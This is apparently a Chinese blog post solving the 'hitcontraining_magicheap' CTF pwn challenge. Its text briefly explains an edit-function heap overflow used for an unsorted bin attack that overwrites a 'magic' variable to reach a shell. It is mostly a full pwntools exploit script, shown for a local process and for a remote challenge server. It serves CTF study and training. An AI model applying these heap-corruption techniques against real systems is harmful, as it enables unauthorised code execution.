hitcontraining_magicheap
一道unsort bin attack的题目

菜单
然后添加和删除都没有什么问题
结构体也没有出现,就是一个标准的chunk
edit出现了溢出的问题


主函数里的l33函数有shell

怎么调用这个shell,就是把magic进行修改,也就是修改任意地址的值,一般来说这种情况,有溢出,就可以使用unsort bin attack。
这里边写题边讲原理
点击查看代码
from pwn import *
io=process("./magicheap")
#io=remote("node4.buuoj.cn",26516)
def delete(idx):
io.sendlineafter("Your choice :","3")
io.recvuntil("Index :")
io.sendline(str(idx))
def add(size,content):
io.sendlineafter("Your choice :","1")
io.sendlineafter("Size of Heap : ",str(size))
io.sendlineafter("Content of heap:",content)
io.recvuntil("SuccessFul\n")
def edit(idx,size,content):
io.recvuntil(':')
io.sendline('2')
io.recvuntil(':')
io.sendline(str(idx))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
点击查看代码
add(0x30,'aaaa')
add(0x80,'aaaa')
add(0x10,'aaaa')
点击查看代码
delete(1)
edit(0,0x50,'a'*0x30+p64(0)+p64(91)+p64(0)+p64(0x6020A0-0x10))
点击查看代码
from pwn import *
#io=process("./magicheap")
io=remote("node4.buuoj.cn",26516)
def delete(idx):
io.sendlineafter("Your choice :","3")
io.recvuntil("Index :")
io.sendline(str(idx))
def add(size,content):
io.sendlineafter("Your choice :","1")
io.sendlineafter("Size of Heap : ",str(size))
io.sendlineafter("Content of heap:",content)
io.recvuntil("SuccessFul\n")
def edit(idx,size,content):
io.recvuntil(':')
io.sendline('2')
io.recvuntil(':')
io.sendline(str(idx))
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
add(0x30,'aaaa')
add(0x80,'aaaa')
add(0x10,'aaaa')
delete(1)
edit(0,0x50,'a'*0x30+p64(0)+p64(91)+p64(0)+p64(0x6020A0-0x10))
add(0x80,'aaaa')
io.sendlineafter(':','4869')
io.interactive()

浙公网安备 33010602011771号